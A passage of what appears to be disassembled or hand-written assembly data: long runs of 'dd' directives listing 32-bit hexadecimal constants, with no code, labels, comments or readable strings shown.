45C30DDAh, 7F97214Ah, 0D627D5Ch, 0F8A1066h dd 0C15884ABh, 0AF044D8Ah, 0B8D48AB4h, 0D4F1E221h, 66158751h dd 12EB0D73h, 6D29BD50h, 0B37E89h, 0F4722860h, 6E653C7h dd 0E7058357h, 82743277h, 3917E2D0h, 0A44EC280h, 3396DE0Eh dd 0AA980522h, 0ED074E8Fh, 0FB70A30Bh, 18731193h, 60749B99h dd 0F1EB4290h, 0D9DC315Ah, 72B55C6Ah, 602655D3h, 366EC617h dd 9EE292D6h, 0A2F834DEh, 55DE564h, 1E203941h, 7C97838Bh dd 856707D4h, 5B17E91Eh, 4D92A5C4h, 9BB44645h, 7F157E63h dd 53DE39C7h, 3A2134A6h, 0BA1D273Ch, 5217DEADh, 3134994Dh dd 0C05EF617h, 0A026C089h, 0F469E0FCh, 0D8F83450h, 247582EFh dd 0EF1B3A23h, 0B39B9B90h, 0E06DFAE4h, 0C64C2F41h, 0A01EA95Ah dd 0EC02D869h, 0A4E9F3C6h, 0E04BAC3Eh, 6BE57185h, 49A85790h dd 421EBFFEh, 0A214FECBh, 1DE0D2B4h, 6C4CC223h, 6D9F085h dd 0BBDB5CA1h, 0C7A0A6C8h, 91F8E66Ah, 13C0462Bh, 6BA6468h dd 9761C10Fh, 6E28DE5Fh, 0EECE2ADh, 0DCDC4565h, 50F09170h dd 5DE4DC69h, 7E19E815h, 8A8EE973h, 7413995Fh, 0ED615151h dd 0E7A8DE4Ah, 0E5FF3FD1h, 0AC42949h, 2C91552h, 77E32A5Bh dd 0EF98AB6h, 82993832h, 58BA85EEh, 17E40100h, 76093132h dd 0D499BA83h, 0EFCEC3ADh, 7A68F247h, 3C491017h, 0C9C142F0h dd 0E897E404h, 72BDCCB8h, 51477E35h, 0E3770773h, 9E86130Fh dd 30BED494h, 0EFD08930h, 3BE17C1Ah, 0C9CB2821h, 0FD6A3F86h dd 5240FB90h, 2BDD4CCEh, 3D14E426h, 7B7F6FDBh, 296CC42Eh dd 70D059ABh, 4D15208Ah, 0CDDCE82h, 0CBE8416Bh, 0FF759A69h dd 0B7DB7B5Eh, 3CF0CB88h, 281B001Eh, 3EEAD84Ch, 0B06416C8h dd 2526F4E0h, 47403CCAh, 0B5B92853h, 9235307Fh, 885CA111h dd 0F00BBE6Dh, 11506137h, 4704AA9Dh, 49C60DE8h, 0C0B0624Ah dd 1321B622h, 0F7710582h, 2F18C4F5h, 585F3796h, 0FDB3EEB5h dd 8ACA626Ch, 0FED3A52h, 37A29EBFh, 0F9203332h, 7C6EE1B8h dd 2B7A75Ch, 0A17F5F11h, 5A36D755h, 0C30FD20Eh, 4A97A36Eh dd 0B1E2BB2h, 2CDD5700h, 89E45194h, 0F6BACAFh, 624FBA46h dd 2E2B7B68h, 0CCFF2FF3h, 91AA781Eh, 2855FBD4h, 0B2DD610Eh dd 0CCEF4D39h, 0CB380AF3h, 7D0FA679h, 0D0459A20h, 0CE828A08h dd 64E5B232h, 7E3AA848h, 9A6536C2h, 0C1789106h, 0BAC3A9CAh dd 2C97FB6Fh, 1BDF447Ah, 81A25324h, 0CDD08E57h, 9634C930h dd 57A9B065h, 57DEC6D2h, 0D9EF891Fh, 9FD25E53h, 5F3220DDh dd 53B4BF2Fh, 4C4407BEh, 0F0790BC0h, 27AC361h, 3204E020h dd 0E5CB58E0h, 3A158E3h, 9F7B4A14h, 178F4850h, 0BB4A3443h dd 98CA0EA1h, 0E33AEEDFh, 802D5D34h, 56B4433Ch, 798C399Ah dd 868E23C6h, 6090D746h, 0C1521230h, 0CC87ED99h, 0D0B5447Ah dd 4E26AAE0h, 0EB32FAE7h dd 47B2418Eh, 0EC88E49Ah, 248C87D9h, 0F0DA140h, 9D4AF45Bh dd 13A258A9h, 412B6A4Ch, 0E3FFCA7Ah, 9478464h, 0CE176610h dd 0F023959Fh, 0F2552C8Fh, 6EAB292Ch, 0A1E7FDDEh, 6A003175h dd 5EDD4AB0h, 798B4082h, 6C2781DAh, 14AECEAAh, 6CDB4071h dd 4E631FFFh, 20449210h, 0AB7F7D76h, 5A2120BEh, 5E031F69h dd 0C07EE268h, 996B634Ah, 7067CBF8h, 0D5F0FD4h, 0DF695FC2h dd 6D8D24B3h, 178A5044h, 1F09EE08h, 94D0A9D0h, 0ADC1B846h dd 0AB3884E6h, 0CF0ED67Fh, 0B0297BB8h, 391336DAh, 0EBFFE52h dd 7C443438h, 6FAF1E9Ah, 0DA5D4BA8h, 0DA6DDC29h, 0BDBEA320h dd 3E642309h, 0DBC2B79Eh, 24E2AEFBh, 606796C8h, 2D7A4E16h dd 0B27225AEh, 10E6256Ah, 0AE896EB0h, 930D7532h, 0A531C6C3h dd 97D6FC38h, 0E21FFD1Eh, 5837BED4h, 2F5B9E4Bh, 76EB2694h dd 3FA65C9Fh, 0C922D03Eh, 3D5506E5h, 4598EA75h, 496424CAh dd 67360326h, 892773DCh, 0ACC050F2h, 31A547C0h, 536490CAh dd 8AAFBE05h, 2B1A5826h, 0C53946D2h, 0EE5E691Eh, 39573B4Fh dd 8C4426CCh, 2D0ECBB6h, 0AD183DCh, 1C3410F0h, 713B3A4h dd 2371BF96h, 3980F726h, 2B079DF9h, 0B28E3461h, 0FD77362h dd 0B353F42Fh, 2D13393Bh, 74B8C1D6h, 0AADEC51Ch, 2D4FCF24h dd 465E76CBh, 86083FD9h, 82A3658Ah, 39CA020Ah, 66F05E17h dd 822F42EDh, 0A4B59811h, 758B0E92h, 0F94716CBh, 0DE8814F5h dd 0C731AEC8h, 691CFFD5h, 0F01BE910h, 0A63560E0h, 13ACD1DAh dd 2C9570B0h, 5EB46475h, 6DD613CBh, 4D072E53h, 0B71B22C9h dd 0EE8468C4h, 0ED966C36h, 0FBAAFB22h, 8CE5A2D5h, 0AFC87E11h dd 6D98E2ECh, 0A61F944h, 8045A8A8h, 92C59334h, 0D423D8F4h dd 0D4A9EF44h, 88743044h, 0DA15EA49h, 0F40BE04Ch, 0A1A07990h dd 86B98E34h, 0C0958B2Eh, 8D981787h, 670FC6A2h, 0FEB0DF59h dd 0EF13A305h, 98A5FE1Bh, 6C39BAA4h, 0B7A65DC4h, 770A907Fh dd 9FD8F99Dh, 5A89191h, 0D8E6F730h, 4C1706ACh, 46CF8012h dd 59AFCB19h, 3A89C215h, 157E4B91h, 443933E7h, 44DAC8C9h dd 3B4275D9h, 0AA8E4661h, 9CB2D95Eh, 0C899AD71h, 0EC0D2855h dd 0CA3D9E52h, 89C56528h, 0A19F5E43h, 2854E76Eh, 10A7B6B3h dd 8AB872A7h, 0DC0A15BFh, 1569AF04h, 4DF8310Ah, 64FC1849h dd 2C0DEA81h, 93E81179h, 0BF5EE68Bh, 2561550Eh, 0C6614081h dd 7B12FFA0h, 4E2D45D7h, 0B4E39CFFh, 5B1E08DDh, 0B83908A1h dd 43C948D2h, 675221C8h, 0C1D08807h, 0F554E3C1h, 6AB7B6B3h dd 253C71FFh, 5A4ABCAEh, 7F72871Bh, 45532163h, 0A82C0173h dd 0E89E0128h, 0B14D3A64h, 76A2FA70h, 421A139Eh, 1D46DA93h dd 0B33BBFCEh, 3299F92Dh, 6692B862h, 71AA15B1h, 71A6E0EDh dd 232E83A0h, 0DC31F1D4h, 0DF55F710h, 7A315AB0h, 5F937C89h dd 99FE9C55h, 12FC55Ch, 8C0796BAh, 0AAB67BE5h, 8F4F744h dd 0C6E16986h, 975D9D62h, 0CCC8EB99h, 94BDC919h, 0B14AE670h dd 0D4A7F85Ch, 61929776h, 881BD8ACh, 7B41105Fh, 11E22115h dd 1B3CA0A5h, 3DADCEF9h, 0E3A62D05h, 4FD07Fh, 0A8093DF5h dd 8D07C153h, 8FD5E88Eh, 9E95BD28h, 486B1C3Eh, 98CFA440h dd 124E420h, 0A535AF98h, 9C23B44Ah, 0EEC6258Dh, 66D3724Eh dd 69811ED9h, 31E6A0D0h, 0B5782FAh, 0E7D3AE95h, 8CA0E58Ah dd 4EEF0EE5h, 0E7CA9704h, 250B6CF4h, 0AC324F43h, 678D14A6h dd 4C2080C7h, 0E9CE86FFh, 49143692h, 15F55F37h, 8B34D83h dd 4E86D79Dh, 0A678907h, 17D93893h, 146998E1h, 0F4492BD5h dd 9B165E08h, 0EC9BDA97h, 5706BEC8h, 0D725825Eh, 0DD569C00h dd 5C8DBA06h, 998CD96Bh, 2C2FC5C3h, 1D802A7h, 0FE7C7E26h dd 0CFCFB4Fh, 97C31AE5h, 541D98F2h, 56898585h, 0BA442AC1h dd 7D2EC915h, 0CBA1BE26h, 6625F402h, 0E35F959Dh, 0BF8CF5DCh dd 0F79F22Eh, 0E5A1F8F0h, 377FD46Ah, 0AFFF02Ch, 0F4F6470Ch dd 34A7930Dh, 0A6595D49h, 9B5644CBh, 5A7A1AE4h, 59E696ABh dd 35F4B640h, 8ABFB135h, 0C93898F4h, 0E6042C5Eh, 2736592Ch dd 555F3512h, 79DF8D49h, 2BAB225h, 9612B69Fh, 0B465EC22h dd 6DAD959Fh, 0AEF9F4D6h, 3B041CFFh, 79B9093Ch, 0F4CC1821h dd 5B9D333Eh, 46D2C432h, 767A8282h, 916F6DFBh, 3503DB2Ah dd 8DC02D78h, 0E230D346h, 21773EBEh, 434E984Eh, 0E087221Ch dd 0E8FF3DE3h, 73795E63h, 0C55C9812h, 69950D42h, 5C4982C0h dd 0F4B2DD27h, 8873DC3Bh, 1E697485h, 0D6D51C84h, 0B2886706h dd 14946CB4h, 0CC754561h, 0D2386767h, 3420B992h, 2CBB47BDh dd 64FD1262h, 0D544DC1Dh, 14860625h, 5C1D62F6h, 82960A6h dd 0D141FCE3h, 0D3B76992h, 530CCA20h, 0E53ED45Fh, 0F00E4C20h dd 5762E938h, 0F9D11080h, 818B5D98h, 0E897681Ah, 0B992C750h dd 89B35625h, 0E8D89C80h, 0D4EB744Ah, 90501C1Fh, 908D3D55h dd 744B3AE4h, 0E517D213h, 0E54CE267h, 0E0DABC9Bh, 0AB1F5D01h dd 0C8D933B0h, 8BAE8DA5h, 0B760B868h, 0C6970EBh, 7BC56FD6h dd 0CE185F98h, 3E9A00B0h, 8316916Ah, 6F472BAAh, 7C379175h dd 8954E0Ch, 0D0CC684Bh, 9C92D51Ah, 0DD5DA04Eh, 75815450h dd 0D94ACAD4h, 0E5C284C3h, 12FAA17Ah, 0BB6343h, 82060815h dd 41FF112Dh, 2792D4AFh, 0BE6E207h, 3ADB5B62h, 0A779E91Ah dd 64A45F8Ah, 0AC8719D2h, 7E838A6Eh, 5F9CC971h, 9CEAE189h dd 0D1ADDC76h, 3D0AE03Bh, 0D6D6A3BEh, 86E17589h, 8E84D5DAh dd 815C0A46h, 89F0FAA3h, 36E7D972h, 8BC8ACD7h, 0D567AB1Dh dd 616636ADh, 7A129820h, 0FC05BAE4h, 0CD60F19Dh, 0B9574B0Dh dd 4AA6E336h, 0E7FEF00Fh, 928BB059h, 0DC2CD063h, 0ACE7DEFDh dd 9A50A81h, 59B2C1C4h, 1812CBDAh, 7D3CAEDEh, 9D7CD19Ch dd 46196F76h, 8185AD41h, 0D958944Dh, 946B7B86h, 2D60273Eh dd 0C98F26E8h, 544CDE07h, 53F38649h, 3CCCFCE7h, 2C10A1F6h dd 0A911EB31h, 2B7F9056h, 0CDE643CBh, 0E8BD9AD5h, 0B94FE6EBh dd 769921F2h, 9F279F35h, 0A832E53Fh, 8CB361A8h, 3B8110ECh dd 0B9BDFE6Dh, 3DB5B914h, 0DF48E39h, 3988B55Fh, 38CA490Bh dd 2086E710h, 51C903ECh, 8ADD254Eh, 2ED64FDEh, 472B7773h dd 729B25Eh, 73823804h, 4EFDFB8Bh, 7B13F519h, 13394F7Ah dd 605CEBCAh, 4E226592h, 0EBF3800Fh, 0D1B70578h, 1A2E38A1h dd 7FD595F3h, 0D5B9F691h, 9B1AF20Eh, 0B880D0CEh, 6D2336C9h dd 6A6987A2h, 78EFBD95h, 2D87C08Eh, 5ECC03B4h, 0C3682D80h dd 42605701h, 44D63708h, 0C1B7E515h, 4C3FBC36h, 5D83563Ch dd 0DFF16A57h, 0C302AE67h, 0CCFC3042h, 1E0BC91Ch, 9C175D13h dd 0C819B534h, 4A198267h, 1F5A571Ah, 6E6A7559h, 29A90C49h dd 4C06E801h, 0F64B3233h, 0D3A57FC3h, 8C9B3321h, 172CFD22h dd 23BB8E15h, 0DD3BA5Eh, 0BAB8A872h, 459B5962h, 58733528h dd 0F7DD34F7h, 12DA0710h, 1F203BB9h, 0C39419ACh, 322CB0B2h dd 0DED6CD75h, 16F860F4h, 0A4062035h, 0F2316390h, 2E961AD0h dd 0C2877F01h, 3C51A496h, 0ACDEA62Eh, 3D95B3D0h, 0EA9AF38Ah dd 0BC9F4CAEh, 0E179438Eh, 8C4BED50h, 8EE44B33h, 9052F5DDh dd 0F110CA81h, 81A74B15h, 97558691h, 65C53FC7h, 0D869C6C8h dd 75BBA520h, 1CC0646Fh, 5CDA6128h, 4FD796B8h, 0C9A7060Fh dd 0ADB1D746h, 0F37C4B0Bh, 0FF47A17h, 29743226h, 8762A407h dd 0D96391FDh, 49C2B17Bh, 8C80CE38h, 4C4886BCh, 8841C248h dd 0F4F07C3h, 2FB33349h dd 0CF7AF427h, 1520CD05h, 2D028D25h, 0A6366471h, 3CE95389h dd 0A4E66E9Bh, 0FE6AABD9h, 589E0091h, 9BF47125h, 354BB4CAh dd 6D8998B7h, 7A405DCAh, 5233AD51h, 3044C5BFh, 5D4D5276h dd 75267B06h, 7ED5FEE8h, 24F2064Eh, 0A7382CCh, 15F1472Ch dd 0B0899CFBh, 123A32BCh, 93E8E4CEh, 0B060CDDFh, 0DEE5F6D4h dd 0FFF3DA23h, 83DEA42Ch, 54E39FD3h, 0F84D3FEh, 0FCFDFC98h dd 42D74BE5h, 0DF2D776h, 58B59FBEh, 3DC7C915h, 6BE42A65h dd 8EA7AB82h, 0EF0013D3h, 3366CB76h, 49314B69h, 0D7CC6AFBh dd 8F917B18h, 3F25C2E7h, 0C0765BBCh, 7B204E07h, 2E53851Ah dd 735C81Dh, 2C5012B1h, 9BB46279h, 5E06A827h, 997F2DF0h dd 59AE3A77h, 0D883DA94h, 9B5860CFh, 0A6246336h, 19B83ADDh dd 0DBCCBCF3h, 0E4119C11h, 2275E3F2h, 0D8438DFh, 3DD863C2h dd 1A1D73F7h, 0F7CE124Bh, 11C7A1D3h, 0DCA7E69Eh, 7FE3FEEAh dd 4CE83896h, 89EE4236h, 0B61C2989h, 0EF8F7146h, 94FC2A1Eh dd 5A2287ADh, 151239F1h, 0FB836DA0h, 782C1002h, 0AF539C6Dh dd 0C7E8C7AFh, 79D20DD4h, 2DA9DA33h, 147285C4h, 0ED72325Eh dd 0C2AAB808h, 3093A27Ah, 0EBBF6058h, 151E101Ch, 0E633CB22h dd 832AC48Dh, 0E6115872h, 762485D3h, 2AB3161Ch, 0E7E55C6h dd 0C3AC6107h, 58CB6D0Bh, 2811D899h, 7260B99Eh, 0A1D64FB3h dd 3A07CCC7h, 0B8583666h, 41F6A5Eh, 0A7707481h, 0DB25A7C8h dd 6829D815h, 59F7830Ch, 0D5582160h, 1103F3A3h, 0E56C736Eh dd 0A84EDFFFh, 0C6DFFC1Eh, 3DEA2840h, 7E5F4231h, 0DFEED745h dd 0F785D72h, 53B503F7h, 6964453h, 0E7A17E23h, 0CF83FF4Fh dd 43BD1C3Eh, 0F6F7FE62h, 0A52F8532h, 953239BEh, 0DD094449h dd 95D0AA57h, 5D755E03h, 0CFBA0BCCh, 996E1C2Dh, 675E455Eh dd 0AF86C900h, 0F609847Ah, 4DBDA561h, 0EE8D86D5h, 5C8A55BAh dd 92D4717Dh, 3DAB27C3h, 0BF4CC764h, 5A563B15h, 0B2868452h dd 3BC1F679h, 92E44FEFh, 0FECA1393h, 0B92281F4h, 0C926D6C9h dd 0F340EA08h, 8110F8ECh, 0BA797479h, 0D0ECFC67h, 3CD4FC9Fh dd 0FE20AD32h, 6A2F4E30h, 64A4BD18h, 0FDBA7A04h, 0D0BB10CAh dd 31CF2B60h, 0BD4A2A13h, 1D9665D1h, 8923847Fh, 0AA9BA76Eh dd 467D068Ah, 0AC8D499Ah, 398526E0h, 0C555DFD7h, 73934158h dd 8A6A3B7Ch, 4CBF6706h, 1414A9C9h, 2711BB93h, 0F48922A6h dd 0E817C6DAh, 428575A1h, 1CE667Fh, 806B5FABh, 9BA97E9Fh dd 62A88DE2h, 0AC677EBh, 1E617E83h, 9D7FF7CAh, 4379F7A9h dd 0A4328AA4h, 244CB5C5h, 3D236C0h, 0DCA5CF19h, 14D1B630h dd 0D6C622B1h, 93BC8ED4h, 2D8EA0EFh, 72C8E201h, 82C3654Dh dd 8E2CC4A5h, 0E864F765h, 78633D73h, 937A8C43h, 0B7CA116Eh dd 427F5FA8h, 58BDFA47h, 4F7ED809h, 2DB79004h, 0B73A21E9h dd 98B77301h, 85F5FD39h, 5881C3E7h, 0D1595540h, 0FD89F847h dd 0F7DE39B9h, 0F0621366h, 0C30DB35Bh, 27AE2405h, 3167029Ah dd 0CD58EC5Ch, 3A16AC11h, 0DA13E917h, 4E7FC436h, 0C91DD984h dd 0D554E197h, 418BD62h, 0C876D043h, 0FA80890Ah, 0B7ED611Eh dd 669E95EBh, 4CBA371Ah, 0CB8D0F37h, 830A4AE2h, 5FE2AC15h dd 0ACF2ECEEh, 4524FE3Fh, 0A43D5C53h, 8ACCD265h, 872DF272h dd 0A4C06FAh, 0DDE91F79h, 0EB65DAC8h, 8C2BFE39h, 16B6E5F2h dd 0A04041F7h, 0BDDDD2C7h, 0A188919Dh, 0D9910B30h, 868A69B9h dd 0C67C5F14h, 767517B1h, 0C8E80C8Ch, 0C8F3901Eh, 80CC92EAh dd 0E3BC3C6Dh, 737639E4h, 6A7233EBh, 5D597543h, 7429D46h dd 0D38CC235h, 0C8D230BBh, 8F5B1587h, 0FDAD2B9h, 115B0FF0h dd 96A47F23h, 507C153Fh, 0F2AD1080h, 0D9CC69A7h, 30F79DAAh dd 0AB34CC38h, 669447FFh, 5F69FD6Eh, 78CE03E0h, 5D9FC214h dd 48DBD2F3h, 0E243661Eh, 85DBF0E3h, 38816821h, 4C629824h dd 0B3FD0CEAh, 854E6E9Dh, 798F8B55h, 61F8DD8Ah, 0EEA47C46h dd 52CD6DC5h, 0FD1786F2h, 2DAA475Dh, 2AE13DC0h, 193779A2h dd 346E7B61h, 52911FA7h, 31699DE8h, 527ED0DFh, 0F815EAC3h dd 5E6FEDA8h, 0EA6F2788h, 29329CF5h, 0C6A99C4Bh, 0DC8546F0h dd 809B6E73h, 0B121AE07h, 0DAC567DBh, 0B73AE293h, 3C86C30Fh dd 47C5E3F9h, 14406325h, 0CE94F62Eh, 80842C5h, 0F6B8EDA1h dd 0D27494E3h, 0E2504263h, 838B5125h, 6C5382E8h, 0FF0A6FEDh dd 0D2CE4438h, 41A8358Ch, 0EC856E6Dh, 63366C8Bh, 58905FAAh dd 0EB357E8h, 18C0D879h, 89D5B12Ah, 0C9EBB2Ah, 0D7CF0D53h dd 70C4F24Eh, 78761368h, 34B4A753h, 0D489948Fh, 0B1065B25h dd 0A00D4651h, 0EA8A7F70h, 0BE451CA4h, 0BA9863B8h, 48C8DD76h dd 0E6691D50h, 0F053320Bh, 385851Bh, 9BA260A6h, 284B644Fh dd 16C3D409h, 3005450Eh, 75A8A593h, 0E093262Eh, 0F0FAA800h dd 48E024Eh, 345A7089h, 93412196h, 87220356h, 370D4D1Eh dd 0DFC60CD1h, 1EF3FB00h, 2622FBD4h, 664B8ED5h, 0CD5CB96Ch dd 0A186EE59h, 0F0D84654h, 7EBCD9DBh, 7CE2FBCDh, 8D544137h dd 28090030h, 44AD7D6Fh, 27D23E75h, 2194EEC3h, 0A04FA118h dd 0E0955C87h, 0D5DDE687h, 0AA25A72Eh, 7A70A67Ch, 0A519D82Bh dd 3927FC41h, 55353750h, 380D25BBh, 7D55DB61h, 794FF4CEh dd 51A744A5h, 479E6A61h, 0C25639D4h, 0B0C52802h, 0DD72DFF2h dd 0BD11A938h, 0B0CDAE5Dh, 0BB240778h, 1836AA2Fh, 8E6D5ED9h dd 0E4961E36h, 51BD16F1h, 0ED2BECDCh, 993A334Dh, 0FF488F98h dd 0BD2C185h, 9BCB9A11h, 58239F7Ch, 0E7FF7E96h, 5715B26Eh dd 0BE2F4E70h, 9788A73Bh, 6E97F6E4h, 7111B3DFh, 43A849B4h dd 0FF8BA629h, 0E1999CEFh, 321CD66Ah, 7EA63294h, 6F97C728h dd 342FBB98h, 0C1EEB441h, 854901EBh, 8DEE1EC2h, 30296598h dd 4D242300h, 1C4F885Ah, 1CAE90DAh, 0EC77E7CAh, 0A5BDF34Fh dd 0AEE26D0Eh, 0FFD45D94h, 0BF4BC49Fh, 45973Ah, 4B9F691Dh dd 0D9A21357h, 8E02B8DDh, 0C04C4EFAh, 421A9C9h, 61EFA8DCh dd 84AF49E0h, 0FD7DFA47h, 6B6DEACCh, 5C85E2B8h, 8E4970Ah dd 5AA3199Fh, 2B1DC35h, 0D9353843h, 0D46A32Ah, 0F3E4C1C0h dd 0C77D1DAAh, 788A423h, 7E22CF05h, 2B4F1565h, 4B130C29h dd 4934F02Fh, 0DC193DBh, 90F5E7EEh, 962CDEE9h, 4EAF896Fh dd 669118E2h, 2E18B8B1h, 0CB5DD798h, 0CB044789h, 0EF44BBD6h dd 0CEF5B91Ch, 2DF00223h, 0C96DEEF9h, 0F3749613h, 431A465Bh dd 749FB9CAh, 8ED9A15Ah, 558B334h, 96854BF8h, 0D2F96B4Bh dd 0B5AA3D3Ch, 0E5DEC67Ch, 0C520484Ah, 0C545C8CAh, 7DA1914Dh dd 0FE91B291h, 0C2B0CD3Ch, 6180C72h, 7AA4588Fh, 0FEA900EFh dd 0C793A8B3h, 2B788F45h, 0C20A405Fh, 98B7C301h, 0C34CAA59h dd 82EF75B8h, 779C5889h, 79F6FD38h, 4CFA5E15h, 1D565C7Fh dd 7FC24A45h, 109E42D6h, 0D229BF6Ah, 0C65B62A9h, 0E9F10A03h dd 3C1F4F70h, 4640728Ah, 37A82DFFh, 0CECFEF16h, 0D489F537h dd 0A11E8C6Ch, 28F0CC4Ah, 5D8CE955h, 0B79429Ah, 0AA80D9D9h dd 8A043470h, 0CB15229Ch, 0FAA2602Dh, 565BCF9Fh, 0F04EBFDBh dd 9D9D8DB7h, 76C4E1B1h, 5E1C0277h, 5D021C3Ah, 0D82EBBD7h dd 0B67791DCh, 7CAC3C69h, 561BC9DAh, 0DB11B984h, 54E30F0Ah dd 585E45B2h, 7F0538E8h, 0CFCDA5DEh, 0AE0F5CFFh, 6685B061h dd 5F449C5h, 404F637Bh, 8B5EC993h, 4080A2FCh, 9FE23D04h dd 5AFC76BEh, 4008A338h, 0F7CD984h, 60A9DC07h, 5F2316BBh dd 0EDE490F9h, 1ED1A5AAh dd 811A0181h, 0CAD88BFh, 0DDFDCECCh, 6CC60C53h, 0FC8571B6h dd 0EDA6262Ch, 6638F6A0h, 0FE14109h, 9704D67Fh, 4D2377h dd 154EFC6Dh, 0CF7DF175h, 7549D06Bh, 0AD27482Dh, 0F9B20C35h dd 22310CD9h, 0C847DBF1h, 0CA5E2DA9h, 80ACAC50h, 82641ABCh dd 50B6256Bh, 0C982EA67h, 4AD222CBh, 53ACCA24h, 0EAFE562Fh dd 9409FB84h, 52C37F4Fh, 0E6B9CDDh, 89467FF1h, 0F488AA8Bh dd 0AA130CBDh, 38D95436h, 36D4CE2Fh, 36669AC2h, 9670079Fh dd 2B2D7760h, 0CE366414h, 7FD346F5h, 0C8557F28h, 7068FFB5h dd 2259B9F4h, 2EFAAFDDh, 0C972AC6h, 4806B03Ah, 0A1307F4Ah dd 0B5DDC58Ah, 0E2F9AF5Bh, 91FDE3C3h, 41A9BD65h, 99ABF3EFh dd 635E3ED1h, 70C5CD7Eh, 76E810A0h, 544020FCh, 0AE1663B1h dd 0DC417FC7h, 639CA406h, 4D25AE81h, 0B2379CD7h, 357376F8h dd 0D04272D3h, 0C17A79CEh, 0DC3D7EE2h, 47880C3Fh, 0E0A28738h dd 96D96E89h, 77E6B705h, 186CFBF6h, 0A5D71089h, 33DFB1Ah dd 3F4CF3B5h, 8ED49393h, 2C6F5E45h, 0F5BDE981h, 1D2F743Dh dd 0AA40276Ch, 0CE777A1Dh, 0C9570566h, 96F09B58h, 0C7CEE7A6h dd 0EC4702ABh, 43E5D518h, 19C09F3h, 4F6A9ADEh, 0EC96B950h dd 945AB416h, 0A54C70DDh, 6E769366h, 0C9F28E0Eh, 15B93DEAh dd 6A55045Bh, 6968695Ah, 7102F946h, 0B250B135h, 1E96FA54h dd 6470F7D0h, 83F5EC49h, 8C9CF283h, 0F755DB5Fh, 121509A3h dd 515BE029h, 0C70EAF79h, 0EE7D91E4h, 76B47BE6h, 6A209DF1h dd 847C23A2h, 43B0833Bh, 0B483A275h, 44DA27A5h, 0B803100Ah dd 884F88FFh, 0AC9679A0h, 0A5C85BC9h, 0D95A2F1Ch, 0FD6F0415h dd 0CD6C1A0Ch, 0BECFF973h, 0D6B34377h, 63163660h, 8E0D9FCDh dd 2E724C89h, 1F131D97h, 3B265A79h, 340808E7h, 0ECD8039Eh dd 8D53DFE7h, 8AD1E7Dh, 0E4A675B1h, 8746DBA3h, 813D09A2h dd 0A5F09901h, 5F2AC5FCh, 32389280h, 0A9D63B33h, 0EA58031h dd 0F1396B39h, 0B0194C7Ah, 9AC6026Ah, 0C0C3E787h, 0DA70DC39h dd 36FF2781h, 2FE5CBFFh, 540F37BEh, 15EFFFA2h, 0E4BA315Eh dd 9423D2C2h, 5C114FA5h, 73A9CB79h, 1E65D268h, 91A961A4h dd 88DB6A72h, 88FD388Ah, 5353D0DEh, 8A3FE85Ah, 29766CCCh dd 334847C4h, 0EB434E59h, 258A6BE8h, 47EA1AE4h, 9729007Ch dd 0FA773F13h, 9FB3909Dh, 135DC5E0h, 447A530Bh, 0BACA9647h dd 6359CC0Bh, 2CB99675h, 0D101908Eh, 2CD090C7h, 6E70F7CAh dd 757214C9h, 0F33E957h, 9BC7C954h, 7DA3BAC9h, 2C0F8698h dd 0EE6F8766h, 996C694Ch, 0A14FCA59h, 0D76F1B61h, 73483E86h dd 0B2D13DD4h, 7A2F5616h, 9D3D041Dh, 45A05068h, 45811A73h dd 91663928h, 592ECCF3h, 989A745Dh, 0FFF101FDh, 22167C0Dh dd 0C6587726h, 0F54C538Dh, 0ABBB1FFBh, 0DD33DF16h, 35CAE6E2h dd 0E5646669h, 18BF5AA2h, 0C81D3B5h, 80F19D3Dh, 0BC5C2440h dd 37253906h, 2FFFC3F0h, 9AF73554h, 7DF7034h, 50FFB527h dd 273A478Ch, 3AE6A678h, 0D0196A70h, 9C8C2F5Fh, 0B446A22Dh dd 90A5ABECh, 937506ADh, 9D1DBD0Fh, 9F5E2E51h, 0A33AAD91h dd 21664B01h, 83F94A4Dh, 4F5BC40Ch, 22956586h, 91BB1802h dd 0EF0E875Bh, 2940B96Ah, 0E233E95Fh, 0D591EE3h, 41FF9702h dd 54D9F41Ah, 3A563D83h, 67F8E71Fh, 2625C3A5h, 238F396Ah dd 0B894CECAh, 0F4B18FDh, 913B01D9h, 5842628Dh, 0CEAFE4Ah dd 1E2E74E4h, 57003D3Dh, 687C4488h, 0CC7DC7CCh, 0BCA2D741h dd 0A2369B30h, 5F3F6934h, 0B5CDFE5Ch, 5C8814A7h, 9544C7CFh dd 0E5B03F04h, 933C10ABh, 3708A9AFh, 0CC3444FCh, 82752EBAh dd 68CC4481h, 0AB0A23E4h, 0BE9F09D9h, 0FF52C796h, 30978DD2h dd 1C20AD71h, 0EFDB31E6h, 0A6B4F3CFh, 0BC588BF2h, 822454BEh dd 611889DCh, 0E4256997h, 0E6EE3E20h, 0D554DE8h, 752B9A1Fh dd 6EE1BCE8h, 41966600h, 0D1F08CA3h, 42AF2B9h, 45F6959h dd 0C2767A0Ah, 4B367C33h, 2AA81E65h, 75D1BF6Ah, 0CF7CCA52h dd 0ECCB7C5Ch, 0AE8EDF5Bh, 93CA4E0Eh, 8A6310EAh, 1EE2299Ah dd 0E087E55Ah, 0AD5FE3F9h, 0BFFE0B50h, 0ACC810BEh, 0D73E786Ah dd 976338C4h, 0AD43F08Ah, 41F58131h, 0AFA859h, 6FA6AE01h dd 3744D3CCh, 0E96F028Ch, 69B83101h, 3BABF4F8h, 0D8A545C4h dd 0F332EA5Ah, 2DFF2C09h, 4FC03EF8h, 0EE97F96Bh, 42BEF26Dh dd 219332DAh, 50C88408h, 564BB270h, 0BFCBB6C6h, 18ECAD93h dd 0A0C86C49h, 88095854h, 86D27A8h, 85729F24h, 0C5269118h dd 29AB6301h, 108DC05Fh, 28181E63h, 0D6B40ECCh, 0C5583B0Fh dd 94C07B09h, 0C8853E6Eh, 0A069A89Eh, 44D5BAF3h, 0C5FA4D35h dd 66BDD1Ah, 1F0BEC43h, 0B0B5C4CCh, 0AD8901DFh, 2342807Ah dd 822E0E5Fh, 0D3D79A81h, 0BEFA1EF0h, 67487DBEh, 3CC8148Dh dd 0A7F64443h, 1F1FF191h, 6CBBA8DFh, 0B2E0419h, 0B75ACF7Ah dd 4B0D71A8h, 0BD2B212Eh, 0C70DE0B8h, 1DC0A1E9h, 15FE7971h dd 4498BAAFh, 1C460AA3h, 1C4576B7h, 9FBD1785h, 5C87F179h dd 0CBEEFD9Dh, 65A360B8h, 0B2B59C1Bh, 6133036Eh, 509977C3h dd 0BEB2FEC3h, 100DB9FAh, 63C92024h, 23A948D9h, 0F75186ADh dd 6D8DFCB4h, 0BFCD18ACh, 0B336D326h, 0E57B4EBBh, 0F67A5381h dd 4BD544F9h, 5AB8ABB5h, 6851E731h, 6CB05C45h, 128FC043h dd 9BF44B2h, 